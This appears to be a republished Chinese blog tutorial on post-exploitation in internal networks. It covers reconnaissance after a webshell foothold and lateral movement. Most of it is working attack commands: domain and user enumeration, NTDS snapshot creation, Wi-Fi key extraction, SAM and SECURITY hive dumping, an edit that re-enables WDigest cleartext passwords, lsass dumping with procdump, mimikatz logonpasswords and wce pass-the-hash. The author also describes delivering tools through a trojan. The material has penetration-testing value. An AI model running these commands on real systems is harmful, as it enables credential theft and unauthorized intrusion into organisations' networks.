【横向移动】内网渗透之内网信息收集

目录

前言:

目的:

后渗透攻防参考链接:

一、内网信息收集

1.内网基础信息:

2.内网核心业务信息:

3.其他信息

二、内网实战(命令、工具及脚本)

1.用户列表、当前权限等

win:

linux:

2.内网网络拓扑等信息

3.进程列表

win:

linux:

 

4.端口信息

win:

 

linux:

 

5.补丁信息

win:

linux:

6.本地用户习惯及历史记录

7.凭证收集

8.系统哈希或明文密码获取

(1)mimikatz获取明文(一般会报毒)

(2)注册表导出,本地分析(较安全准确)

(3)Get-PassHashes脚本

(4)wce读取明文,哈希注入

(5)procdump(微软出品)+本地用mimikatz得明文,较安全

 

9.星号查看

三、内网权限拓展(常见应用漏洞):



前言:

 

 

首先要能拿下一台可连接内的机器权限(webshell),然后才能开始域渗透收集系统一般信息,包括操作系统、IP、是否存在杀毒软件、打过的补丁,用户信息,服务及任务信息,组网信息,计划任务信息,事件查看器信息和文件夹和文件位置信息。

当渗透测试人员进入内网后,面对的是一片“黑暗森林”,所以渗透测试人员首先会对当前所处的网络环境进行判断,通常的判断分为三种:

  • 我是谁?——对机器角色的判断。
  • 这是哪?——对目前机器所处网络环境的拓扑结构进行分析和判断。
  • 我在哪?——对目前机器所处位置区域的判断。

 

目的:

内网信息收集是为了深入的了解内网情况,为了横向移动,权限维持,长期渗透做准备,收集的内容包括有:本机系统信息,本地网络信息,域内用户,域组信息等。收集并分析了这些信息,对于我们在内网进行渗透有一定的帮助作用。

后渗透攻防参考链接:


https://www.secpulse.com/archives/51527.html

https://www.freebuf.com/column/194119.html

https://www.cnblogs.com/oneWhite/p/11173170.html

本机内网信息搜集

【内网渗透】——内网信息收集之鹏哥教你骚操作
https://3gstudent.github.io/

一、内网信息收集

1.内网基础信息:

(1)内网网段信息:网段信息有助于我们对渗透的内网进行拓扑、分区。以拿下边界服务器为例,得到一定的控制权之后,一定要查看网卡信息,这样就收集到内部网络地址段的信息,进一步渗透,找到更多的内部网络地址。
(2)内网大小:有助于我们了解整个公司的网络分布与组成,帮助我们寻找内网核心业务。


2.内网核心业务信息:

内网OA办公系统(大公司)、邮件服务器(大公司才有)、网络监控系统(一般都有)、财务应用系统、核心产品源码(对于IT公司,会架设自己的svn或者git服务器)


3.其他信息

系统管理员密码。
其他用户session,3389和ipc$连接记录,各用户回收站信息。
浏览器密码和浏览器cookie获取。
windows无线密码获取(利用netsh),数据库密码获取。
host文件获取和dns缓存信息收集等,可以查看DNS服务器的IP,如果是域,一般情况DNS服务器和域控是同一台!先定位出DNS服务器,再进行后面渗透。
杀软、补丁、进程、网络代理信息wpad信息(Web Proxy Auto-Discovery Protocol,是客户端通过DHCP或DNS协议探测代理服务器配置脚本url的一种方式),软件列表信息。
计划任务、帐号密码策略与锁定策略、共享文件夹、web服务器配置文件。
VPN历史密码等、TeamView密码等、启动项、iislog等。
常用的后渗透信息收集工具、PowerShell+各种内网渗透工具的使用。


二、内网实战(命令、工具及脚本)


1.用户列表、当前权限等

win:

导出域内所有用户信息详细信息。字段可以不加选择默认字段
csvde  -r "(&(objectcategory=person)(objectClass=user))" -l "name,sAMAccountName,description,title,department,telephoneNumber,mail,userAccountControl" -f C:\xxx\xxx\xxx.csv

域控导出日志
wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4672]"
只导出登录成功的用户记录
wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624]"


拍域快照快捷命令
ntdsutil "ac i ntds" "ifm" "create full c:\" q q


ipconfig /all #查询本机 IP 段,所在域等
netstat –an //网络连接查询
route print //路由打印
whoami //查询账号所属权限
whoami/all //查看 sid 值

net user //查询本机用户列表
net user /domain // 查询域用户
net view /domain //查询域列表
net view //查询同一域内在线机器列表

net group /domain // 查询域里面的工作组
net group "domain controllers" /domain // 查看域控制器
net group “domain computers” /domain 查看加入到域内的所有计算机名
net group "domain admins" /domain // 查询域管理员用户组

net localgroup administrators /domain //登录本机的域管理员
net localgroup administrators //本机管理员[通常含有域用户]

net session // 查看当前会话
net share //查看 SMB 指向的路径[即共享]
net accounts // 查看本地密码策略
net accounts /domain // 查看域密码策略


dsquery computer domainroot -limit 65535 && net group “domain computers” /domain  //列出该域内所有机器名
dsquery user domainroot -limit 65535 && net user /domain //列出该域内所有用户名
dsquery subnet //列出该域内网段划分
dsquery group && net group /domain //列出该域内分组
dsquery ou //列出该域内组织单位
dsquery server && net time /domain //列出该域内域控制器

 

linux:

whoami

id

who

cat /etc/passwd

cat /etc/group


2.内网网络拓扑等信息


以下两条命令可以查看无线网密码:

netsh wlan show profiles

【横向移动】内网渗透之内网信息收集_第1张图片

netsh wlan show profile name=“网络链接配置文件” key=clear

【横向移动】内网渗透之内网信息收集_第2张图片

除此,常用的有ipconfig、nslookup等等


3.进程列表


win:

tasklist

【横向移动】内网渗透之内网信息收集_第3张图片

linux:

ps
top

【横向移动】内网渗透之内网信息收集_第4张图片

【横向移动】内网渗透之内网信息收集_第5张图片

 


4.端口信息

win:

netstat -ano 

【横向移动】内网渗透之内网信息收集_第6张图片

 

linux:

netstat -ntulp 

ps -aux

【横向移动】内网渗透之内网信息收集_第7张图片

 

5.补丁信息

win:


win系统:systeminfo
wmic qfe list full
wmic qfe list full /format:htable>c:\hotfixes.html  //导出html到指定位置


【横向移动】内网渗透之内网信息收集_第8张图片

linux:

看一下是否有samba服务,或者使用rpm -qa来查询安装了哪些软件包,有一些可以通过名字来判断出是补丁包。


6.本地用户习惯及历史记录

桌面目录,一般用户都会把编辑的文件放在桌面,找桌面根目录可能会有发现;

c:\windows\SchedLgU.txt,如果未启动remote Storage Engine服务(win7和server03上都没找到此服务)和Task Scheduler服务,则不会记录。
c:\windows\Prefetch文件夹,里面记录着用户运行的程序列表。(已验证)
c:\Users\用户名\Recent文件夹,记录最近打开过的文件和文件夹(xp及server03是在c:\Documents and Settings\用户名\Recent)
查看收藏夹、文档目录、下载目录等。


7.凭证收集


常用工具mimikatz、wce、Invoke-WCMDump、vaultcmd(win系统自带)
CredentialManager,中文翻译为凭据管理器,用来存储凭据(如网站登陆和主机远程连接的用户名密码),如果用户选择存储凭据,那么当用户再进行对应的操作,系统会自动填入凭据,实现自动登陆,凭据保存在特定的位置,被称作保管库(vault,位于%localappdata%/Microsoft\Vault)
Invoke-WCMDum PowerShell脚本,从凭据管理器导出Windows凭据
下载https://github.com/peewpw/Invoke-WCMDump
PS>Import-Module .\Invoke-WCMDump.ps1
PS>Invoke-WCMDump
参考:http://www.4hou.com/technology/9397.html
在这里插入图片描述
vaultcmd命令(win系统自带),导出的不是明文密码,本人不会利用
列出保管库(vault)列表:vaultcmd /list
列出保管库(vault)概要,凭据名称和GUID:vaultcmd /listschema
在这里插入图片描述
其他命令:cmdkey /list


8.系统哈希或明文密码获取


详细理论参考笔记,最方便的方法是利用cmd执行reg save命令从注册表导出。
XP等系统的密码位数超过14时,会采用NTLM加密,小于14位是LM。win7等更高版本,应该是NTLM。
test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248:::
注意被冒号隔断的两组长字符串,前面是LM hash,后面是NTLM hash,hash一般存在两个地方:sam文件(system文件也需要),NTDS.DIT文件,存在域控上对应域用户。

(1)mimikatz获取明文(一般会报毒)

要以管理员身份运行,一般用在桌面环境。如果是终端条件,使用能以系统管理员身份运行的程序去调用mimikatz,执行以下两条命令就OK.

privilege::debug
sekurlsa::logonpasswords

(2)注册表导出,本地分析(较安全准确)

win2000和XP需要先提权到system权限,server03开始,可以直接reg save,文件可能较大,效率低,但比较准确可靠。
reg save hklm\sam sam.hive(也可省略.hive,但二者有何区别暂不清楚)
reg save hklm\system system.hive
reg save hklm\security security.hive(这个文件什么用途暂不清楚)

(3)Get-PassHashes脚本

cd c:\phpstudy\www (在终端先切换到ps1脚本目录)
powershell -ExecutionPolicy Bypass(设置会话默认执行策略,并进入PS)
import-module .\Get-PassHashes.ps1 (导入模块)
Get-PassHashes(大小写不敏感)

在这里插入图片描述

(4)wce读取明文,哈希注入

抓取明文(wce.exe -w,wce支持win系统绝大多数版本)
很快就能显示,但密码位数过长时,偶尔可能不准确,如下面第一张图,显示的密码中间少了两位,第二张图长度更长了,但显示的密码却是正确的
win8和server2012如果抓不出,在目标机修改注册表(CMD运行下命令)

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

在这里插入图片描述

在这里插入图片描述

//获取明文并保存:
wce -o output.txt
type output.tx

wce的hash注入 https://blog.csdn.net/yiyefangzhou24/article/details/28631223
hash注入的原理是将我们预备好的目标机器的本地或者是域用户hash注入到本地的认证进程lsass.exe中去,使得本地在使用ipc登录目标机器的时候就如同自己登录自己的机器一样获得权限。至于目标机器的本地或者是域用户hash如何取得那就要发挥你自己的想象力了。hash注入本身是为了对付那些破解不了的NTHASH
wce.exe -s <username>:<domain>:<lmhash>:<nthash>
wce.exe -s <username>:<domain>:<lmhash>:<nthash> -c cmd.exe
配合上面提到的Get-PassHashes脚本,本地进行hash注入后,成功列出了目标机的文件。两个主机互测,一次成功了,但测试前没有尝试第二张图,不知是否是hash注入影响。攻守互换后,不成功。
在这里插入图片描述
在这里插入图片描述
当提示注入成功的时候,这时候键入net use命令并没有看到有连接,其实已经可以连接了,直接使用ipc命令操作对方的机器就可以了。
域里的域用户hash也可以使用wce进行注入,只需要把命令格式变一变就行 wce.exe -s 用户名:域名:LM-HASH:NT-HASH

(5)procdump(微软出品)+本地用mimikatz得明文,较安全

参考:http://www.91ri.org/6881.html
原帖英文 :http://blog.gentilkiwi.com/securite/mimikatz/minidump
mimikatz1.0版本直接用不行(需要先注入sekurlsa.dll),2.1.1 x64版本试验OK,另外路径中最好不要出现中文,且需要以管理员权限运行。
我们运行mimikatz的平台要与进行dump的系统(source dump)兼容,假如你攻击的server2008,你需要用nt6平台使用mimikatz,兼容性如下:
在这里插入图片描述
1)获取dump
NT6可以使用任务管理器进行dump:
个人觉得用到情况较少,一般有桌面环境,可以考虑直接运行mimikatz
在这里插入图片描述
也可使用procdump(win7亲测可用):
官网下载http://technet.microsoft.com/en-us/sysinternals/dd996900.aspx
procdump.exe -accepteula -ma lsass.exe lsass.dmp
原帖中是通过ipc$入侵得到的dump文件,我是通过木马,使用菜刀连接上传procdump,靶机这边我用的是管理员权限,之所以这样做,是考虑到实战中,如果是低权限用户,也不会费劲的去破解对方密码吧。
2)本地破解密码
攻击者是win7,使用mimikatz的环境也要用NT6,把dmp文件放在mimikatz程序目录下。
进入目录后,直接输入mimikatz并回车,注意权限,再运行下面两个命令。成功得到系统密码,我这里还用了syskey加密,仍然得到了明文。
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
在这里插入图片描述

 

9.星号查看

通过hook函数或者改变变量属性值来查看明文。
通过改js代码,或使用浏览器插件可显示网页中星号的明文,但实战个人猜测用处不大,https://jingyan.baidu.com/article/fea4511a0f875df7bb91258f.html


三、内网权限拓展(常见应用漏洞):

strust2、Zabbix、Axis2、ImageMagick、FastCGI、redis、Hadoop
struts攻击参考:
https://www.anquanke.com/post/id/85674
https://www.cnblogs.com/peterpan0707007/p/7495649.html
https://www.anquanke.com/post/id/85744

你可能感兴趣的:(内网渗透,工具使用,linux,安全,windows,python,mysql)